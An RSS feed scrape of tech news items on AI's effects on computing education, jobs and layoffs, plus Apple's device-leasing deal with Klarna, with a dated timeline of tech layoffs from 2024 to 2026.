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<title><![CDATA[The AI coding tutor paradox grows as educators scramble to rethink how they test real skills]]></title>
<description><![CDATA[An ACM survey of 763 computer science educators from 49 countries shows that 68 percent have already changed their exams because of AI, shifting toward oral exams, proctored tests, and project-based work. Teaching is moving from writing code to understanding it. But nearly half of respondents say...]]></description>
<link>https://tsecurity.de/de/3695259/ai-nachrichten/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695259/ai-nachrichten/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/</guid>
<pubDate>Sun, 26 Jul 2026 09:10:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/07/ACM-Studie.png" class="attachment-full size-full wp-post-image" alt="Hands examine a neural AI circuit before lines of code using magnifying glasses and tools, symbolizing research and debugging." decoding="async" fetchpriority="high"></p>
<p>        An ACM survey of 763 computer science educators from 49 countries shows that 68 percent have already changed their exams because of AI, shifting toward oral exams, proctored tests, and project-based work. Teaching is moving from writing code to understanding it. But nearly half of respondents say they lack proven examples for integrating AI into their courses.</p>
<p>The article <a href="https://the-decoder.com/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/">The AI coding tutor paradox grows as educators scramble to rethink how they test real skills</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[OECD: Physical labor isn’t immune from AI disruptions]]></title>
<description><![CDATA[Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, according to a recent study by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farmi...]]></description>
<link>https://tsecurity.de/de/3694778/ai-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694778/ai-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, <a href="https://www.oecd.org/en/publications/skills-in-the-ai-age_972bd15e-en.html" target="_blank" rel="noreferrer noopener">according to a recent study</a> by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farming, fishing, forestry, production and material transportation could be affected by fast-moving technology changes.</p>



<p class="wp-block-paragraph">“Routine and low-skilled jobs are at higher risk,” the Paris-based public policy group said, adding that “overall, jobs requiring non-routine cognitive, social and creative skills are less susceptible to automation.”</p>



<p class="wp-block-paragraph">The kinds of creative and cognitive jobs still thought to be less exposed to automation include social work and community service roles. </p>



<p class="wp-block-paragraph">OECD also said management jobs — which often require workers to devise creative answers to solve problems — fall within the creative and cognitive category. “While AI has made some high-skill job requirements more susceptible to automation, many critical skills in these roles remain difficult to automate,” OECD said.</p>



<p class="wp-block-paragraph">The same still holds true for some physical and manual labor jobs – including cleaners, agricultural workers, food-prep assistants, and laborers — which are less exposed to the affects of AI, OECD said.  </p>



<p class="wp-block-paragraph">But people who work in programming, translating and interpretation positions could find their work affected by the quick rise of AI tools and services. According to the organization, global AI uptake rose from 7% in 2021 to 20% in 2025.</p>



<p class="wp-block-paragraph">“In these occupations, GenAI could perform a significant share of tasks at least twice as fast today or in the near future,” OECD said.</p>



<p class="wp-block-paragraph">The effects of the AI boom are not always uniform across industries or regions. In a separate <a href="https://www.oecd.org/en/publications/oecd-employment-outlook-2026_7e710f54-en.html" target="_blank" rel="noreferrer noopener">2026 Employment Outlook study</a> released by the group, exposure to disruption from generative AI (genAI) ranges from about 16% in some areas to more than 70% elsewhere, depending on industries and occupations. </p>



<p class="wp-block-paragraph">Numerous research firms have said in recent years that <a href="https://www.computerworld.com/article/4151328/ai-threatens-jobs-that-can-be-unbundled-2.html">AI is driving short-term job losses</a>, though tech industry experts and analysts have argued AI will also create new careers and jobs as <a href="https://www.computerworld.com/article/4100257/mit-creates-an-ai-labor-index-as-agents-invade-human-economies.html">agentic AI takes over low-skilled work</a>. </p>



<p class="wp-block-paragraph">AI technology has become so ubiquitous that it’s been compared to electricity — virtually all companies will need it or at least know how to use it. But it’s adoption has been hindered at times as companies struggle to find ROI from its use, and by regulatory and ethical hurdles.</p>



<h2 class="wp-block-heading">In the US, AI blamed for June job losses</h2>



<p class="wp-block-paragraph">According to a <a href="https://www.challengergray.com/wp-content/uploads/2026/07/Challenger-Report-June2600986996.pdf" target="_blank" rel="noreferrer noopener">Challenger, Gray &amp; Christmas study</a> released earlier this month, AI was cited as the top reason for job cuts in June. The outplacement firm said employers cut 45,849 job cuts in June, of which 14,029 were attributed to AI, with the tech industry leading the cuts.</p>



<p class="wp-block-paragraph">“Tech remains the epicenter of this year’s cuts,” Challenger said. “AI is the dominant force as companies are restructuring around it, automating roles, and reallocating budgets toward new capabilities. The sector is being reshaped in real time.”</p>



<p class="wp-block-paragraph">Overall, AI has been responsible for 173,568 job cuts since 2021, the company said.</p>



<p class="wp-block-paragraph">AI is hurting jobs in customer service, internal reporting, telecommunications, and hosting automation, said Victor Janulaitis, a staffing consultant who was formerly CEO at Janco Associates Inc.</p>



<p class="wp-block-paragraph">“C-level executives continue to be focused on eliminating ‘non-essential’ managers, staff, and services,” he said. “Coders and developers have limited opportunities with legacy applications.”</p>



<p class="wp-block-paragraph">While jobs in the IT sector overall are declining, current hiring tends to skew in the direction of people with AI skills. A <a href="https://www.comptia.org/en/resources/research/tech-jobs-report/" target="_blank" rel="noreferrer noopener">report this month by CompTIA</a> put job listings with AI skills at around 500,000, which is close to double the number in January.</p>



<p class="wp-block-paragraph">“Employers in other industries are accelerating digital transformation initiatives and moving from AI experimentation to implementation,” said Seth Robinson, CompTIA’s vice president for industry research.</p>



<p class="wp-block-paragraph">That view dovetails with what ManpowerGroup, the recruitment firm, is seeing; demand for AI-related skills has nearly doubled over the past year, said Ger Doyle, regional president of North America at ManpowerGroup.</p>



<p class="wp-block-paragraph">That growth extends well beyond traditional technology roles as companies move from experimenting to AI deployments at scale, Doyle said. “We’re seeing it influence hiring across occupations ranging from data science and engineering to project management and operational roles,” he said.</p>
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<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:08 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



